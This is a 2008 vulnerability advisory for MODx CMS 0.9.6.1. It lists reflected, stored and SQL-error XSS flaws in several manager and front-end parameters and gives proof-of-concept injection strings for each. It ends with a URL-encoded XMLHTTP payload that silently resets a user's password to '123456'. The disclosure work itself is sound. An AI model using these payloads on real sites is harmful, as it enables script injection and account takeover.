Digital Security Research Group [DSecRG] Advisory #DSECRG-08-013
Application: MODx CMS
Versions Affected: 0.9.6.1, 0.9.6.1p1
Vendor URL: http://modxcms.com/
Bugs: XSS, SiXSS, stored XSS, Change User Password XSRF Vulnerability.
Exploits: YES
Reported: 11.01.2008
Vendor response: 11.01.2008
Updated Report: 29.01.2008
Vendor response: none
Solution: none
Date of Public Advisory: 07.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
MODx system has multiple security vulnerabilities:
1. Linked XSS
2. Linked SiXSS
3. XSS in POST
4. Stored XSS in POST
5. Change User Password XSRF Vulnerability
Details
*******
1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string.
1.1 Linked XSS vulnerability found in manager/index.php. GET parameter "search"
Search string is available in pages:
http://[server]/[installdir]/manager/index.php?a=75
http://[server]/[installdir]/manager/index.php?a=84
http://[server]/[installdir]/manager/index.php?a=99
http://[server]/[installdir]/manager/index.php?a=106
http://[server]/[installdir]/manager/index.php?a=114
Example:
http://[server]/[installdir]/manager/index.php?a=75&search="><IMG SRC="javascript:alert('DSecRG XSS')
http://[server]/[installdir]/manager/index.php?a=84&search="><IMG SRC="javascript:alert('DSecRG XSS')
1.2 Linked XSS vulnerability found in index.php. GET parameter "highlight"
Example:
http://[server]/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert('DSecRG XSS')
------------------------------------------------------------------------
------
2. Multiple linked SiXSS vulnerabilities found. Attacker can inject XSS code in SQL Error.
2.1 Vulnerability found in script manager/index.php. GET parameter "a"
Example:
http://[server]/[installdir]/manager/index.php?a='<img src="javascript:alert('DSecRG XSS')">
2.2 Vulnerability found in script index.php. GET parameter "id"
Example:
http://[server]/[installdir]/index.php?id='<img src="javascript:alert('DSecRG XSS')">
------------------------------------------------------------------------
-------
3. XSS in POST, attacker can inject XSS in POST parameter
3.1 Vulnerability found in script index-ajax.php.
POST parameters "docgrp" and "moreResultsPage".
Example:
moreResultsPage = "><IMG SRC="javascript:alert('DSecRG XSS')">
3.2 Vulnerability found in script index.php.
POST parameters "email", "name" and "parent".
Example:
name = " style="background:url(javascript:alert('DSecRG XSS'))
------------------------------------------------------------------------
-------
4. Vulnerability found in script manager/index.php?a=10
POST parameters "messagesubject" and "messagebody".
Attacker can comprose message with script code in subject and message body.
------------------------------------------------------------------------
-------
5. Change User Password XSRF Vulnerability
Previous password not required to set a new password.
Using XSS vulnerabilities, attacker can include following code to change user password:
________________________________________________________________________
_______
<IMG%20SRC=`javascript:var%20objHTTP%20=%20new%20ActiveXObject('MSXML2.X
MLHTTP');%20objHTTP.open('POST',"http://[server]/[installdir]/manager/in
dex.php?a=34",false);%20objHTTP.setRequestHeader('Content-Type',%20'appl
ication/x-www-form-urlencoded');%20objHTTP.send("pass1=123456%26pass2=12
3456");`>
________________________________________________________________________
_______
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)